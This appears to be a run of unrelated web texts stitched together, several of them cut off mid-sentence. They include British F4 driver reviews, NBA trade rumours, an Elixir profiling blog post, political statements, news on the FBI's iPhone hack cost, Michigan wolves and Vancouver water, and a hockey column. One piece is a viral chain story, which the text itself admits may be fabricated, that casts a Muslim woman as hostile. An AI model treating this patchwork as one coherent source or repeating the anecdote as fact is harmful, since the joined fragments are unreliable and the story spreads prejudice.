Quinn, like many of the drivers on the grid, suffered from engine issues that have been attributed to soon-to-be replaced championship tuner Sodemo. Had these problems not occurred, a rather large ‘what if?’, then Quinn would likely have won once or twice in the first half of the year.
Once the issues were being solved he was at the front more often, most importantly putting him clear of midfield scraps, and won four times.
This was only more than he achieved in his debut season in the category in 2016, where he also took two poles, the same as he achieved this year. Before the 2017 season started he lost his Racing Steps Foundation backing, signifying the end of RSF’s involvement in single-seaters for the time being.
This made finding a drive more difficult, and his Arden deal was a last-minute one-off until after Brands Hatch.
On a plus note, he was on the podium at every round bar Donington Park, and he came close in the third race before colliding with Caroline.
His podium run even continued when he replaced Toby Sowery at Lanan Racing for the BRDC British F3 season finale.
Overall, the championship did “not go as hoped” though, and it’s easy to see why when he was beaten by two car-racing rookies, one of which was his team-mate.
He will be moving on from F4 in 2018, with Formula Renault being the primary aim, although his British F3 one-off suggests he could find success if he stays at home for another year.
Logan Sargeant USA Carlin
3rd in standings, 356 points (2 wins, 2 poles, 2 fastest laps)
Sargeant, like many before him, didn’t immediately find the step from karts to cars easy work.
The 2015 World Junior champion, like Piastri, made his debut in F4 UAE, and finished his first ten races in cars in second place. He finished second another five times before the end of the season, and although he was winless, it meant he went into the British F4 season on a high.
He made a shaky start, and it took him nine races before he stood on the podium again. He worked hard with Carlin to tackle his weaknesses, and his season came together, perhaps coincidentally, after a one-off drive in the V de V Single-Seater Challenge, which uses FR2.0 cars.
His form was much improved thereon, outscoring everyone in the second half of the season, and had he not spun out of the wet in the final race of the season at Brands Hatch, he may have taken second in the standings from Piastri.
Further cameos in Formula Renault events, with varying levels of success, have inspired a full-time move to the category for 2018, with Sargeant joining 2017 rookie champion Max Fewtrell and management stable-mate in R-ace GP’s Eurocup team.
Oliver York ENGLAND Fortec
6th in standings, 274.5 points (2 wins, 1 pole), 3rd in Challenge Cup, 304.5 points (8 wins)
York’s initial aim for the season, his first in car racing, was to win the Challenge Cup, but it quickly became clear he was one of the best, if one of the rawest, drivers in the whole field.
At the halfway point of the season York changed his attentions to the overall championship standings, although he’d probably long raced with that being the case, and became a threat at the front of the field.
He only failed to score points twice across the whole season, a record shared with Piastri and Sargeant, and was on the overall podium already by the second round of the season at Donington Park.
His one pole came a round later at Thruxton, arguably the highest speed circuit in the UK, and he finally won in the reversed grid race at Knockhill.
Qualifying was one of York’s weaknesses at the beginning of the season, but his high commitment approach meant he was always fast though.
In the second half of the season he was on the podium at every round, including a second win at Brands Hatch, and did well to finish sixth overall in the standings and as the best ‘true’ rookie.
“[The season went] pretty good. I think the learning curve, in my first year in cars, was a lot different to karting,” summarised York.
The difference between karts and cars wasn’t obvious with |
looking for -- someone to help guide rookie Frank Ntilikina.
Don’t be surprised if the Knicks look to trade for a veteran point guard, as well. Per sources, the Knicks had strong interest in trading for Houston’s Patrick Beverley before Beverley was dealt to the Clippers in the Chris Paul trade. It’s unclear which point guards are available via trade at the moment, but it’s long been rumored the Suns want to move Brandon Knight. Some people around the league believe that Knight or Eric Bledsoe could be available via trade at some point.
On the Anthony front, the Knicks and Anthony feel good about the possibility of completing a deal that sends him out of New York, according to sources. The Knicks and Rockets have talked about an Anthony trade recently, with Wojnarowski reporting that “the Rockets have been persistent in their pursuit of Anthony, who is willing to waive his no-trade clause to join Paul and James Harden in Houston and the Knicks do not imagine a scenario where Hardaway is sharing the floor with Anthony to start the season.”
Any deal that would send Anthony to Houston is a complex one in which a third team is likely needed. It is unclear at this point where talks are, but it doesn’t appear that any deal is imminent. What is clear is that the Anthony trade or buyout -- one of the most important moves in the recent history of the Knicks -- will be Mills' deal to make.It’s been a really long time since my last post on Elixir Streams. Things in my day job have changed a bit and I’ve had more responsibility and, sadly, less time for Elixir. But, over the last week I’ve had some time to play with an Elixir project.
It took me a little time to get used to the language again, remembering the matching syntax, the case and cond syntax. Elixir is such an elegant language and it was refreshing to come back to it after working in C++ for the last few months.
Elixir Testing
The series of posts on Streams was unfinished but I decided to try something a little different as a diversion. I wrote up an implementation of Conway’s Game of Life in Elixir. I started out using this as a simple coding example and a way to practice some of the techniques from Growing Object Oriented Software Guided by Tests. I developed two levels of tests; end-to-end tests and unit tests. For the end-to-end tests I wrote a set of bash functions to run tests and report results. The unit tests were written using ExUnit. I might extract this simple bash script into its own project in the future.
I followed the description of the rules of Life from the wikipedia article and built an end-to-end test for each rule. Each test has a set of seed boards which I simply wrote down in data files. I added an end-to-end test for multiple iterations using the pulsar oscillator based on the image from the wikipedia article.
Profiling Elixir
Once I had the basic implementation finished I setup another seed that leads to a perpetually moving spaceship. I used the glider pattern.
Everything was working (thanks to the test) but I was shocked to see how slowly it ran! Now, I didn’t do anything special to make it fast and I allocated a lot of space (100x83 cells) for the glider to fly. But, it was taking about 5-6 seconds per generation. I was hoping for something that looked animated with 0.5 - 1 second per generation.
I decided to use this as an opportunity to learn about and experiment with the available performance profiling tools available for Elixir. A quick search for “elixir profiler” turned up export so I started with it.
ExProf - A simple code profiler for Elixir
ExProf is very simple to setup. I added the experf package as a dependency and then followed the README by importing the module and wrapping the code to profile in
profile do # profiled code goes here end
).
I decided that I wanted to make it easy to run the profiler but not affect any of the tests I already had. To support this, I put together a quick Profile module:
defmodule Profile do import ExProf. Macro def go do profile do Life. CLI. main ([ " --iterations", " 5", " --seed", " test_data/glider1.dat" ]) end end end
I ran the test with profiling and got the following results:
FUNCTION CALLS % TIME [uS / CALLS] -------- ----- --- ---- [----------]... 'Elixir.Access.Map':'__impl__'/1 410850 0.23 35443 [ 0.09] 'Elixir.Enumerable':'impl_for!'/1 164340 0.25 38850 [ 0.24] 'Elixir.Life.Board':'-to_string/1-fun-0-'/2 318890 0.28 44133 [ 0.14] 'Elixir.Life':'-count_live_neighbors/3-fun-0-'/1 328680 0.29 45414 [ 0.14] 'Elixir.Access.Map':get/2 410850 0.30 46461 [ 0.11] code:call/1 575203 0.35 55554 [ 0.10] 'Elixir.Enum':'-map/2-lc$^0/1-0-'/2 410855 0.37 58790 [ 0.14] erlang:function_exported/3 575203 0.40 62683 [ 0.11] 'Elixir.Access':get/2 410855 0.52 82282 [ 0.20] 'Elixir.Enumerable.List':reduce/3 657360 0.56 88299 [ 0.13] 'Elixir.Life':'-list_of_neighbors/3-fun-0-'/6 369765 0.58 90508 [ 0.24] 'Elixir.Access':'impl_for!'/1 410855 0.58 91029 [ 0.22] 'Elixir.Kernel':'function_exported?'/3 575200 0.63 99547 [ 0.17] 'Elixir.Code':'ensure_compiled?'/1 575200 0.64 100346 [ 0.17] 'Elixir.Code':ensure_compiled/1 575200 0.67 105354 [ 0.18] code:ensure_loaded/1 575203 0.67 106071 [ 0.18] code_server:call/2 575203 2.11 331576 [ 0.58] maps:put/3 49302 12.15 1910097 [ 38.74] 'Elixir.Access':impl_for/1 410855 14.35 2255807 [ 5.49] maps:find/2 410850 62.03 9749918 [ 23.73]
I was a little confused about the reports for ensure_compiled/1, code_server:call/2 and impl_for/1. More time spent in Life.list_of_neighbors/3 and Life.count_live_neighbors/3 would have made more sense to me. These functions are the inner loop of the program. But the profile shows very little time spent in them.
At this point I was a little confused by the results and wanted to try another profiling tool.
Using fprof with Elixir
Next I turned to fprof. fprof looked interesting, not just because it could provide more detail than ExProf but because it could provide call chains.
To add support for fprof I updated the Profile module:
defmodule Profile do import ExProf. Macro def go do :fprof. apply ( & run_test / 0, []) :fprof. profile () :fprof. analyse () end def run_test, do : Life. CLI. main ([ " --animated", " --iterations", " 5", " --seed", " test_data/glider1.dat" ]) end
Also, note that I extracted the code for running the test into a new function Profile.run_test/0. This way, from the command line, I could run Profile.go/0 to launch the profiler and Profile.run_test/0 to run the test by itself. I run the test by itself to measure total time spent to check for any progress during an optimization effort.
fprof takes a long time to generate its profile. But it is quite detailed:
% CNT ACC OWN [{ "<0.47.0>", 12269605,undefined,78850.927}]. %%... {[{ {'Elixir.Access',get,2}, 419067,13566.874, 2915.211}], { {'Elixir.Access.Map',get,2}, 419067,13566.874, 2915.211}, % [{ {maps,find,2}, 419067,10651.663,10651.663}]}. {[{ {'Elixir.Code','ensure_compiled?',1}, 583419,13508.697, 2736.668}], { {'Elixir.Code',ensure_compiled,1}, 583419,13508.697, 2736.668}, % [{ {code,ensure_loaded,1}, 583419,10766.925, 1660.151}, {garbage_collect, 83, 5.104, 5.104}]}. {[{ {'Elixir.Enumerable',reduce,3}, 164340,12333.776, 1435.154}], { {'Elixir.Enumerable','impl_for!',1}, 164340,12333.776, 1435.154}, % [{ {'Elixir.Enumerable',impl_for,1}, 164340,10897.800, 2251.280}, {garbage_collect, 14, 0.822, 0.822}]}. {[{ {'Elixir.Enumerable','impl_for!',1}, 164340,10897.800, 2251.280}], { {'Elixir.Enumerable',impl_for,1}, 164340,10897.800, 2251.280}, % [{ {'Elixir.Code','ensure_compiled?',1}, 164340, 5790.109, 1208.826}, { {'Elixir.Kernel','function_exported?',3}, 164340, 2081.641, 1356.149}, { {'Elixir.Enumerable.List','__impl__',1}, 164340, 774.197, 774.197}, {garbage_collect, 13, 0.573, 0.573}]}. {[{ {'Elixir.Code',ensure_compiled,1}, 583419,10766.925, 1660.151}, { {error_handler,ensure_loaded,1}, 4, 3.493, 0.010}], { {code,ensure_loaded,1}, 583423,10770.418, 1660.161}, % [{ {code,call,1}, 583423, 9107.479, 2468.435}, {garbage_collect, 50, 2.778, 2.778}]}. {[{ {'Elixir.Access.Map',get,2}, 419067,10651.663,10651.663}], { {maps,find,2}, 419067,10651.663,10651.663}, % [ ]}....
The entire output is about 900 lines and I found that the sorting wasn’t what I needed. It is sorted by the ACC or accumulated samples over the whole call-chain. But this doesn’t really tell me which functions are taking up a lot of time. I adjusted the Profile module to pass options to :fprof.analyse() to sort by OWN or the samples actually taken during the call itself.
defmodule Profile do import ExProf. Macro def go do :fprof. apply ( & run_test / 0, []) :fprof. profile () :fprof. analyse ( [ callers: true, sort: :own, totals: true, details: true ] ) end def run_test, do : Life. CLI. main ([ " --animated", " --iterations", " 5", " --seed", " test_data/glider1.dat" ]) end With the new sorting I got:
% CNT ACC OWN [{ totals, 12269598,84879.507,81590.604}]. %%% {[{ {'Elixir.Access.Map',get,2}, 419067,10758.820,10758.820}], { {maps,find,2}, 419067,10758.820,10758.820}, % [ ]}. {[{ {'Elixir.Access','impl_for!',1}, 419073,24908.864, 6739.702}], { {'Elixir.Access',impl_for,1}, 419073,24908.864, 6739.702}, % [{ {'Elixir.Kernel','function_exported?',3}, 419073, 5398.386, 3524.110}, { {'Elixir.Access.Map','__impl__',1}, 419067, 2049.423, 2049.423}, { {'Elixir.Code','ensure_compiled?',1}, 419073,10719.379, 1982.565}, {garbage_collect, 19, 1.952, 1.952}, { {'Elixir.Access.List','__impl__',1}, 6, 0.016, 0.016}, {suspend, 1, 0.006, 0.000}]}. {[{ {'Elixir.Access',impl_for,1}, 419073, 5398.386, 3524.110}, { {'Elixir.Enumerable',impl_for,1}, 164340, 2124.427, 1392.240}, { {'Elixir.String.Chars',impl_for,1}, 6, 0.018, 0.012}], { {'Elixir.Kernel','function_exported?',3}, 583419, 7522.831, 4916.362}, % [{ {erlang,function_exported,3}, 583419, 2606.469, 2606.469}]}. {[{ {'Elixir.Enumerable.List',reduce,3}, 493020, 0.000, 2876.517}, { {'Elixir.Enumerable',reduce,3}, 164340,53584.723, 1130.122}], { {'Elixir.Enumerable.List',reduce,3}, 657360,53584.723, 4006.639}, % [{ {'Elixir.Enumerable.List',reduce,3}, 493020, 0.000, 2876.517}, { {'Elixir.Life','-list_of_neighbors/3-fun-0-',6},369765,38159.783, 1763.985}, { {'Elixir.Life','-list_of_neighbors/3-fun-1-',5},123255,52518.744, 823.072}]}. {[{ {'Elixir.Enum',map,2}, 41090,70885.698, 2081.234}, { {'Elixir.Enum','-map/2-lc$^0/1-0-',2}, 369765, 0.000, 1685.661}], { {'Elixir.Enum','-map/2-lc$^0/1-0-',2}, 410855,70885.698, 3766.895}, % [{ {'Elixir.Enum','-map/2-lc$^0/1-0-',2}, 369765, 0.000, 1685.661}, { {'Elixir.Life','-count_live_neighbors/3-fun-0-',1},328680, 2503.039, 1264.582}, { {'Elixir.Life.Board','-map/2-fun-0-',3}, 41085,68290.708, 165.513}, { {'Elixir.Life',count_live_neighbors,3}, 0, 1592.181, 100.613}, {garbage_collect, 14, 0.876, 0.876}]}. 6, 0.273, 0.273}]}.
which was much easier for me to follow. The results were inline with what I saw with ExProf which was a good confirmation. I was hoping the call-chain information would give me a better understanding but I still found these results a bit confusing. It some sense it seemed like the reported call-chains didn’t go deep enough.
But I decided to look into Elixir.Access.Map.get/2 a bit and found it in Elixir’s access.ex
defimpl Access, for: Map do def get ( map, key ) do case :maps. find ( key, map ) do { :ok, value } -> value :error -> nil end end... end
This is the protocol implementation for [] on a Map. I believe this means that the bulk of the time in my program was spent doing lookups from the Map that holds my Life game board.
Next Steps
I still feel like I don’t have all the information I need so I will continue looking at other tools.Photo Credit: Montage from public domain images
Zionist Organization of America (ZOA) President Morton A. Klein released a statement saying “it is painful to see Anti-Defamation League (ADL) president Jonathan Greenblatt engaging in character assassination against President-elect Trump’s appointee Stephen Bannon and Mr. Bannon’s company, Breitbart media. ADL/Greenblatt essentially accused Mr. Bannon and his media company of ‘anti-Semitism’ and Israel hatred, when Jonathan Greenblatt/ADL tweeted that Bannon ‘presided over the premier website of the ‘alt right’ – a loose-knit group of white nationalists and anti-Semites.’”
But Klein insists that, as pro-Israel writer (who happens to be an orthodox Jew) Joel B. Pollak wrote, Mr. Bannon is “an American patriot who defends Israel & has deep empathy for the Jewish people.”
Advertisement
According to Klein, ZOA’s experience and analysis of Breitbart articles confirm Bannon’s and Breitbart’s “friendship and fair-mindedness towards Israel and the Jewish people. To accuse Mr. Bannon and Breitbart of anti-Semitism is Orwellian.” He cites cases in wich Breitbart fought against anti-Semitism:
Bannon joined ZOA in fighting the anti-Semitic rallies at CUNY, a Breitbart reporters called CUNY officials and Gov. Cuomo aides urging them to do something about it.
Breitbart regularly publishes articles reporting that the Palestinian Authority defames Israel with blatant falsehoods. On November 13, 2016, Breitbart reported that “the Palestinian Authority’s official TV network has been airing a video several times a day baselessly accusing Israel of poisoning former PA President Yasser Arafat and further claiming that Israel is targeting current President Mahmoud Abbas next. Arafat died at the age of 75 on November 11, 2004, just outside of Paris. A French forensic team examined his remains and concluded that there were no traces of poison in his body. Nevertheless, every year around the anniversary of his death, the PA disseminates the libel that Israel murdered him.”
On November 14, 2016 Breitbart reported the human cost and pain to a Jewish student at the New School of finding a swastika scrawled on her dorm room door. Breitbart publicizes Iran’s violations of the nuclear deal – which pose an existential threat to Israel. On November 13, 2016, Breitbart reported that “despite a finding published by the UN’s atomic energy agency this week that Iran has — for the second time — stockpiled more heavy water than permitted under the terms of the nuclear agreement it reached with six world powers last year, the US State Department is declining to acknowledge this as a violation of the deal.” Breitbart also reports sympathetically on the scourge of anti-Semitic, anti-Israel boycotts, divestment and sanctions (BDS). On November 2, 2016, Breitbart reported that “reports of anti-Semitic incidents on US college campuses have increased, much of it attributed to the rise of the anti-Israel Boycott, Divestment and Sanctions movement.” Klein declared the ZOA is urging “Jonathan Greenblatt/ADL to withdraw and apologize for their inappropriate character assassination of Mr. Bannon and Breitbart Media.”Donald Trump’s new $10 million TV ad cites two contradictory tax plans -- one that Trump has explicitly ruled out and another that he has yet to endorse -- raising more questions about what policies the GOP presidential nominee supports.
Trump’s new ad seems generic enough for a Republican politician. In it, he promises lower taxes, more jobs, and growth for small businesses.
Trump's new TV ad on the economy — $10 million ad buy over next week in 9 states: CO, FL, IA, NC, NV, NH, PA, OH, VA pic.twitter.com/YU2vqew6G0 — Bradd Jaffy (@BraddJaffy) August 29, 2016
But an examination of the fine print supporting the claims provides confusion, not clarity.
For the ad’s claim that “working families get tax relief,” it refers viewers not to an analysis of Trump’s own tax proposals, but to a white paper by House GOP leaders about their own tax reform plan. Similarly, the next section promising “millions of new jobs” directs viewers to an analysis of the House GOP plan by the conservative Tax Foundation.
Trump has not endorsed the House GOP plan outright, but his new proposal, announced earlier this month, has some similarities. Most notably, they both advocate collapsing the tax code into three brackets with rates of 12%, 25%, and 33%. But there are also important differences: Washington Post columnist Allan Sloan reported that Trump's plan would preserve a deduction on business loans that the House GOP plan would scrap that would save up to $1.2 trillion in revenue over 10 years.
Play Facebook
Twitter
Embed Trump set to clarify immigration stance 4:35 autoplay autoplay Copy this code to your website or blog
Things get even more confusing as the commercial continues. The ad’s next two claims that Trump would make “wages go up” and “small businesses thrive” refer to his old tax plan from last year, which had drastically different rates, including a 0% bracket at the bottom and a top rate of 25%. The on-screen citation directs viewers to a Tax Foundation analysis of that now-defunct proposal from September 2015.
Trump erased his old plan from his website shortly before he announced his new one in a speech to the Detroit Economic Club earlier this month. It has far fewer details, though Trump has promised more are coming, and it has not been analyzed by the Tax Foundation.
So does Trump support the House Republican plan? Does he support his old plan? Does he support neither of them?
Asked by NBC News about the discrepancy, the Trump campaign confirmed that his policy had changed since his initial tax plan, but argued his revised version would have a similar impact.
"As Trump’s updated tax policy has not changed many of the underlying policies, particularly for corporate taxes, we expect the new analysis of jobs gained and wages raised to be similar to the prior analysis," Dan Kowalski, Deputy Policy Director for the Trump campaign, said in a statement.The Wall Street Journal/Times Higher Education College Rankings 2017 constitute a comparative assessment of more than 1,000 US universities and colleges that is designed to give students and their families the information they need to choose where to study. Uniquely, it has at its heart the voices of 100,000 current American college students, collected through Times Higher Education’s annual US Student Survey.
The College Rankings are made up of 14 individual performance indicators designed to answer the questions that matter the most to students and their families: Does the college have plenty of resources to teach me properly? Will I get enough access to my teacher, and will I be engaged and stretched in the classroom? Does the college have a good academic reputation? What type of campus community is there? How likely am I to graduate, pay off my loans and get a good job?
View the Wall Street Journal/Times Higher Education College Rankings 2017 methodology
The entirely student-focused nature of the WSJ/THE College Rankings 2017 means that they differ significantly from the THE World University Rankings, which include only 148 US institutions and are based on a combination of indicators that include a heavy emphasis on research excellence alongside indicators of the teaching environment.
The calculation of the rankings for 2016-2017 has been subject to independent audit by the professional services firm PricewaterhouseCoopers (PwC).
Read our full analysis of the WSJ/THE College Rankings 2017 results
Download the WSJ/THE College Rankings 2017 digital supplement
Note: The four pillar (Resources, Engagement, Environment and Outcomes) scores for institutions ranked below 500 are not displayed
To raise your university’s global profile with Times Higher Education, please contact branding@timeshighereducation.com
To unlock the data behind THE’s rankings, and access a range of analytical and benchmarking tools, contact data@timeshighereducation.comNeil Gaiman on The Truth of Fiction and Why Fiction Matters Today More Than Ever Before
In a recent article, novelist Neil Gaiman argues for literacy and libraries, but he also argues for fiction’s role in helping children understand the real world.
Kevin Eagan Blocked Unblock Follow Following Oct 28, 2013
Have we failed children by prescribing what they should or shouldn’t read in school? Neil Gaiman thinks so.
In a recent lecture on reading, re-printed in The Guardian (“Neil Gaiman: Why our future depends on libraries, reading and daydreaming”), Gaiman argues that our future depends on allowing children to read whatever they want. Specifically, he argues that children should read fiction — any fiction, not just the fiction adults want children to read.
[caption id=”attachment_3229" align=”aligncenter” width=”300"]
“Reading” (Photo Credit: Shena Tschofen, flickr)[/caption]
Gaiman’s argument goes against some of the changes in reading curricula in schools, which emphasize reading non-fiction. Yes, being able to synthesize and analyze non-fiction is an important skill, but reading fiction, according to Gaiman, fosters long-term skills, like empathy. A recent study on reading and empathy backs up this claim.
What strikes me most about Gaiman’s argument is his claim that reading fiction brings us closer to the truth than other forms of reading. It’s through fiction that young readers learn more about the world around them than they do from any form on non-fiction. And, as writers like David Shields argue, non-fiction is often trite, over-simplified. Gaiman goes along with this, saying
Fiction is the lie that tells the truth, after all. We have an obligation not to bore our readers, but to make them need to turn the pages. One of the best cures for a reluctant reader, after all, is a tale they cannot stop themselves from reading.
This simple statement says more about the role of reading fiction than the thousands of literary theory books and articles published on the subject. When comparing modern popular fiction to modern non-fiction, I learn more about life from the simplest story than I do from the most complex non-fiction argument. In fact, the best non-fiction titles are ones that tell stories; a good example is The Warmth of Other Suns by Isabel Wilkerson.
[caption id=”attachment_2009" align=”alignright” width=”300"]
Neil Gaiman (Photo credit: 22Words)[/caption]
Last summer, non-fiction science writer Jonah Lehrer was caught plagiarizing — and in some cases, outright fabricating — portions of his articles in Wired, The New Yorker, and his book Imagine: How Creativity Works. Fellow non-fiction writers like Malcolm Gladwell didn’t denounce Lehrer, they defended him (granted, not everyone defended him, but it took a freelance writer working on his own to uncover Lehrer’s lies).
Even though Gaiman’s lecture focused on child readers, I’d argue his ideas matter to adult readers as well. Sometimes, we forget the power of a good story, whether it’s written or told well, or not. We worry too much about what we think is important — what is literary, or what sells the most. We forget that stories affect our outlook on our lives and the people we see every day.
For writers, this means we have a lot of power. And we shouldn’t forget that. We need to keep making our stories and our words better — to craft the best work we can.
Related articlesMany claim this happened, some claim it was a different country, others claim it was fabricated altogether…either way, the moral of this story is absolutely priceless considering what is going on in so many western countries right now!
A Muslim woman dressed in a Burkha (a black gown & face mask) was standing with her shopping in a queue at the checkout. When it was her turn to be served, and as she reached the cashier, she made a loud remark about the Canadian Flag lapel pin which the female cashier was wearing on her blouse. The cashier reached up and touched the pin and said, ‘Yes, I always wear it proudly. My son serves abroad with the forces and I wear it for him. The Muslim woman then asked the cashier when she was going to stop bombing and killing her countrymen explaining that she was Iraqi.
At that point an elderly gentleman standing in the queue stepped forward and interrupted with a calm and gentle voice, and said to the Iraqi woman, ‘Excuse me, but hundreds of thousands of Canadian men and women, just like this lady’s son have fought and sacrificed their lives so that people just like YOU can stand here in Canada, which is MY country, and allow you to blatantly accuse an innocent check-out cashier of bombing YOUR countrymen. It is my belief that if you were allowed to be as outspoken as that in Iraq, which you claim to be YOUR country, then we wouldn’t need to be fighting there today. However – now that you have learned how to speak out and criticize the Canadian people who have afforded you the protection of MY country, I will gladly pay the cost of a ticket to help you pay your way back to Iraq. When you get there, and if you manage to survive for being as outspoken as what you are here in Canada, then you should be able to help straighten out the mess which YOUR Iraqi countrymen have got you into in the first place, which appears to be the reason that you have come to MY country to avoid.’
Apparently the queue cheered and applauded…share this link if you applaud as well
FOR ENTIRE ARTICLE CLICK LINKFollowing the terrorist attack in San Bernardino in December of 2015, there was a lot of controversy over whether Apple should help the FBI open one of the terrorist’s phones. Ultimately, the FBI found a private company that helped crack it open, but we had no idea how much that effort cost the government. Until now.
As it turns out, it cost the FBI roughly $900,000 to hack the locked iPhone. The revelation went largely unnoticed during last Wednesday’s Senate Judiciary Committee hearing with FBI Director James Comey. But by Friday the Associated Press realized that Senator Diane Feinstein had inadvertently given out the number.
Advertisement
“I was so struck when San Bernardino happened and you made overtures to allow that device to be opened, and then the FBI had to spend $900,000 to hack it open,” Feinstein said at the hearing. “And as I subsequently learned of some of the reason for it, there were good reasons to get into that device.”
Various news agencies have fought through Freedom of Information Act (FOIA) requests to get the precise figure that the FBI paid. The FBI has argued that the number should remain classified. But it appears that Feinstein may have messed up that argument for them.
The FBI fought a long a protracted battle with Apple over the unlocking of the phone. It was as much about setting up a precedent and a new expectation in the public relations sense than it was about getting valuable information off the terrorist’s phone.
Advertisement
It’s still unclear what the specifics of the hack entailed, or even who precisely cracked the phone for the FBI. But there are unconfirmed reports that the agency will be able to use the same hack again in the future. Early speculation had put the cost at around $1.3 million, which wasn’t too far off, if Feinstein’s numbers are accurate.
There are still a lot of things we don’t know about the San Bernardino case, and still heated debate about the role that private tech companies have to help law enforcement after a terrorist attack. But we at least know what it costs for a federal agency to crack a phone: $900,000.
You can watch the video of Feinstein’s slip-up at the 2 hour and 55 minute mark on C-SPAN.Buy Photo Sen. Rebekah Warren, D-Ann Arbor, said the resolution contains a clause falsely claiming the wolves “increasingly endanger people and domestic animals” in Michigan, when research hasn’t uncovered “a single documented attack by gray wolves on a person — ever” in Michigan. (Photo: Dale G. Young / The Detroit News)Buy Photo
Michigan's senators sparred Tuesday about whether gray wolves are endangering Upper Peninsula residents and domestic animals, while other officials prepared to try to separate fact from fiction regarding the animals' presence in the rest of the state.
On Tuesday, the Michigan Senate voted 26-12 to back a non-binding resolution asking for Congress' help to overturn a recent federal court ruling placing wolves back under the protections of an endangered species. Legislators also asked the U.S. Fish and Wildlife Service to appeal the court ruling.
It came as the Department of Natural Resources plans to conduct a survey from Monday through March 13 to establish how many wolves, if any, may be residing in the northern Lower Peninsula. This year's survey, which is performed every 24 months, comes at a time when the status of the wolf is as uncertain as any time in the last several years.
Meanwhile, national and state groups seeking to protect wolves from sanctioned hunts have adopted a new strategy. Groups like Keep Michigan Wolves Protected are backing efforts to have the animals listed as "threatened" and not "endangered."
Wolves have been off-limits for hunting for decades before a hunt was sanctioned in 2013 by state officials.
"This back and forth is going to keep happening over and over again," said Jill Fritz, director of Keep Michigan Wolves Protected. "Livestock lobbying groups are so powerful, they are just going to keep coming back and demanding wolves get de-listed."
Fritz said transitioning to a "threatened" status would allow state and federal agencies to pursue lethal measures in specific situations where intervention with wolves is necessary.
In Lansing Tuesday, elected officials skirmished over the wolves' endangered status with Sen. Rebekah Warren, D-Ann Arbor, squaring off with Republican Sen. Tom Casperson of Escanaba, the resolution's chief sponsor.
Warren said the resolution contains a clause falsely claiming the wolves "increasingly endanger people and domestic animals" in Michigan, when research hasn't uncovered "a single documented attack by gray wolves on a person — ever" in Michigan. While the resolution has no force of law, "facts should be accurate" when they're sent to Congress, she said.
Warren also said the resolution should call for a compromise in which wolves would be placed on "threatened," rather than "endangered" status. The move, Warren said, would permit some state measures necessary to deal with any wolf problems while also providing enough protection so the animals could continue to thrive.
But Casperson cited a recent case in which a wolf in Minnesota attacked a camper and another case in which a dog apparently was killed and eviscerated by wolves while an Upper Peninsula resident and his 8-year-old son were out hunting. He said it's lawmakers' job to protect the health and welfare of citizens, adding that the resolution is one way to counter a relentless effort by animal protection activists to prevent wolf hunting and wolf control measures.
Casperson said the federal judge in Washington based his decision on "emotion," not facts. The U.P. dog killing, he added, "is not an isolated case of what my constituents are dealing with."
Outside of a single animal killed in Presque Isle County in 2004, wolves have been almost exclusively a problem for the Upper Peninsula. Every year, however, reports come into the DNR of wolf sightings in the Lower Peninsula. To date, those reports have produced no physical evidence.
"All we've had in the past are photos that look like they could be wolves," said Jennifer Kleitch, a DNR wildlife biologist. "We've had reports of tracks that look like they could be wolves. But we don't have any genetic evidence that they're in the Lower Peninsula."
During the survey period, residents who believe they have seen evidence of a wolf are asked to contact the DNR's Gaylord office at (989) 732-3541 ext. 5901 or provide information at www.dnr.state.mi.us/wildlife/pubs/wolf_obsreport.asp.
jlynch@detroitnews.com
(313) 222-2034
Read or Share this story: http://detne.ws/1DYvGIyStage 1 water restrictions are already in place in Metro Vancouver, after last year's drought conditions took the region all the way to Stage 3, the first time since 2003.
"Rain-couver didn't happen last summer and it probably won't this summer," said Inder Singh, who is the director of policy and planning for water services with Metro Vancouver, which has put restrictions in place two weeks early this year compared to last.
Watering restrictions begin today. Check the schedule for your address. Be <a href="https://twitter.com/hashtag/waterwise?src=hash">#waterwise</a> <a href="https://t.co/D88gbeRjQm">https://t.co/D88gbeRjQm</a> —@MetroVancouver
"A wake up call is always good, complacency can set in especially when you have a region which does have lots of rainfall," he said.
Administrators like Singh and politicians within local governments are looking to manage what could be a new, dryer normal for Vancouver along with the forecast of another million people expected to be living in the region in 25 years.
Fraser River for drinking water?
"If we were to consider using the Fraser River as a supplement to our existing water supply we could effectively double the amount of water available," said Mark Johnson, a UBC professor who studies ecohydrology.
To do that though, Johnson says it would cost a billion dollars or more to build the infrastructure needed to tap into the iconic B.C. river, but the payoff |
Kobo could also work with publishers and stores to re-brand and customize, as they’re likely doing with Borders. Of course, at this point it’s still speculation and guesswork as to the buying patterns of the book-buying public, so we’ll see how it turns out, but for a non-premium device like the Kobo, I think the course is clear.Following a winning January, the Buffalo Sabres have some fans asking if the team will be buyers come the NHL trade deadline. We examine the possibility.
Since 2016 said its adieus, the Buffalo Sabres have been a team worth watching (for the most part).
A record of 7-5-1 in the month of January. 42 goals scored and 40 goals allowed, meaning the Sabres averaged 3.23 goals per game and were actually +2 on the month.
Article continues below...
Not the sort of numbers that will blow you away, granted, but remember: at one point this season, the Buffalo Sabres were the only team in the NHL who were averaging less than two goals per game.
Buffalo’s surge has not had much of an impact on the standings (Buffalo is tied with Tampa Bay for last place in the Eastern Conference) but it has given fans a reason to keep tuning into games: with 52 points, the Sabres are just 6 points back of the 8th-in-the-East Boston Bruins.
Six points? That’s nothing, right? Let’s see if GM Tim Murray can get on the phone, swing a trade that brings another scoring forward, or maybe a top-4 defenseman like Tyson Barie or Shea Theodore, into the 716 and...
Cool your jets there, young one. You’re getting ahead of yourself.
Six points sounds like no big deal – just three wins! – but the Buffalo Sabres would need to win three more games than the Boston Bruins in February just to tie them, meaning that if Boston goes.500 on the month (5-5-0), Buffalo needs to win 8 out of their 14 games this month just to be tied with the Bruins.
Again, that might be doable – but we have not even started discussing the Toronto Maple Leafs, who are currently only one point behind the Bruins. Or the Florida Panthers, who are only two points back. Or the Carolina Hurricanes, New York Islanders and New Jersey Devils – you get the point.
I hope.
The Buffalo Sabres not only have to win three more games than Boston to creep into the playoff race, but hope they also post better records than all six of the teams that currently make up the 9-14 spots in the East.
Sorry, readers: that is just not likely to happen.
If you want to use Super Bowl 51 as inspiration, go right ahead: don’t mistake my stating what I think will happen for what I wish would happen. I sincerely HOPE the Buffalo Sabres can play winning hockey the remainder of the 2016-17 season and find themselves in a playoff spot, but I don’t honestly believe it will happen. If it was just the number of points that the Sabres had to overcome, things might not look so bleak... but having to catch no less than seven other teams makes this Mission Impossible.
